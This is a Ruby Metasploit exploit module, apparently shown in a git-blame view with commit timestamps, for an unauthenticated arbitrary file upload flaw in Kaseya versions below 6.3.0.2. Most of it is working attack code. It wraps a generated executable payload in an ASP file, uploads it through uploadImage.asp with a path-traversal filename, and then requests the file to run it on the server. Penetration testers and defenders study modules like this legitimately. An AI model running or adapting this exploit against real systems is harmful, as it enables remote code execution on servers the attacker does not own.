2013-11-18 01:23:34 +00:00
|
|
|
##
|
2013-11-19 23:27:22 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-11-18 01:23:34 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-11-27 03:00:00 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Kaseya uploadImage Arbitrary File Upload',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an arbitrary file upload vulnerability found in Kaseya versions below 6.3.0.2.
|
|
|
|
A malicious user can upload an ASP file to an arbitrary directory without authentication, leading to arbitrary code execution.
|
|
|
|
Code executed in this manner runs under an IUSR account.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Thomas Hibbert <thomas.hibbert@security-assessment.com' # Vulnerability discovery and MSF module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' => [['URL', 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf']],
|
|
|
|
'Payload' => {},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Kaseya KServer / Windows', {} ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Nov 11 2013'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri('SystemTab','uploadImage.asp')
|
|
|
|
})
|
|
|
|
|
|
|
|
# the vuln was patched by removing uploadImage.asp. if the page is there, calling it without params will return 500, else 404
|
|
|
|
|
|
|
|
if not res or res.code != 500
|
|
|
|
return Exploit::Faliure::UnexpectedReply
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_cookie
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri("SystemTab", "uploadImage.asp")
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.headers['Set-Cookie']
|
|
|
|
cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{@peer} - No cookie found, will not continue")
|
|
|
|
end
|
|
|
|
|
|
|
|
cookie
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
peer = "#{rhost}:#{rport}"
|
|
|
|
|
|
|
|
@payload_name = "#{rand_text_alpha_lower(8)}.asp"
|
|
|
|
exe = generate_payload_exe
|
|
|
|
asp = Msf::Util::EXE.to_exe_asp(exe)
|
|
|
|
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
|
|
post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{@payload_name}")
|
|
|
|
|
|
|
|
data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
|
|
|
|
|
|
|
cookie = get_cookie
|
|
|
|
res = send_request_raw({
|
|
|
|
"method" => "POST",
|
|
|
|
"uri" => normalize_uri("SystemTab","uploadImage.asp?filename=..\\..\\..\\..\\#{@payload_name}"),
|
|
|
|
"data" => data,
|
|
|
|
"ctype" => "multipart/form-data; boundary=#{post_data.bound}",
|
|
|
|
"cookie" => cookie
|
|
|
|
})
|
|
|
|
|
|
|
|
register_files_for_cleanup(@payload_name)
|
|
|
|
|
|
|
|
if not res or res.code != 200
|
|
|
|
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("#{peer} - Executing payload #{@payload_name}")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(@payload_name),
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
end
|
|
|
|
end
|